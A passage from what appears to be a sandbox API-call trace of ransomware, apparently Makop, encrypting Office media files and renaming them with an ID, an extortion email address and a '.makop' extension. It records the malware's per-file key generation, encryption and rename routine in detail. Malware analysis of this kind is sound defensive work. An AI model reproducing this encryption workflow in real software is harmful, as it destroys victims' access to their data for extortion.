pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.904] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.904] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x900, lpOverlapped=0x0) returned 1 [0162.904] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900) returned 1 [0162.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x900, lpOverlapped=0x0) returned 1 [0162.904] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.905] SetEndOfFile (hFile=0xf0) returned 1 [0162.911] GetProcessHeap () returned 0x48a0000 [0162.911] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.911] GetProcessHeap () returned 0x48a0000 [0162.911] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.911] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.913] CloseHandle (hObject=0xf0) returned 1 [0162.913] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0162.913] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF") returned 61 [0162.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.914] GetProcessHeap () returned 0x48a0000 [0162.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.914] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.915] GetProcessHeap () returned 0x48a0000 [0162.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.920] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.920] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.920] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaf0, lpOverlapped=0x0) returned 1 [0162.920] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0) returned 1 [0162.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaf0, lpOverlapped=0x0) returned 1 [0162.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.920] SetEndOfFile (hFile=0xf0) returned 1 [0162.927] GetProcessHeap () returned 0x48a0000 [0162.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.927] GetProcessHeap () returned 0x48a0000 [0162.927] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.927] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.928] CloseHandle (hObject=0xf0) returned 1 [0162.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0162.930] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF") returned 61 [0162.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.930] GetProcessHeap () returned 0x48a0000 [0162.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.931] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.935] GetProcessHeap () returned 0x48a0000 [0162.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.936] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x948, lpOverlapped=0x0) returned 1 [0162.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x950, dwBufLen=0x950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x950) returned 1 [0162.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x950, lpOverlapped=0x0) returned 1 [0162.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.937] SetEndOfFile (hFile=0xf0) returned 1 [0162.944] GetProcessHeap () returned 0x48a0000 [0162.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.944] GetProcessHeap () returned 0x48a0000 [0162.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.944] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.945] CloseHandle (hObject=0xf0) returned 1 [0162.945] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0162.946] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF") returned 61 [0162.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.949] GetProcessHeap () returned 0x48a0000 [0162.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.949] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.954] GetProcessHeap () returned 0x48a0000 [0162.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.954] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.954] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.955] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.956] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2398, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2398, lpOverlapped=0x0) returned 1 [0162.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23a0, dwBufLen=0x23a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23a0) returned 1 [0162.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23a0, lpOverlapped=0x0) returned 1 [0162.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.958] SetEndOfFile (hFile=0xf0) returned 1 [0162.964] GetProcessHeap () returned 0x48a0000 [0162.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.964] GetProcessHeap () returned 0x48a0000 [0162.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.964] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.967] CloseHandle (hObject=0xf0) returned 1 [0162.967] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0162.967] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF") returned 61 [0162.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.968] GetProcessHeap () returned 0x48a0000 [0162.968] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.969] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0162.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.973] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.973] GetProcessHeap () returned 0x48a0000 [0162.973] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.973] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.973] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.973] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.973] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.974] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.974] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 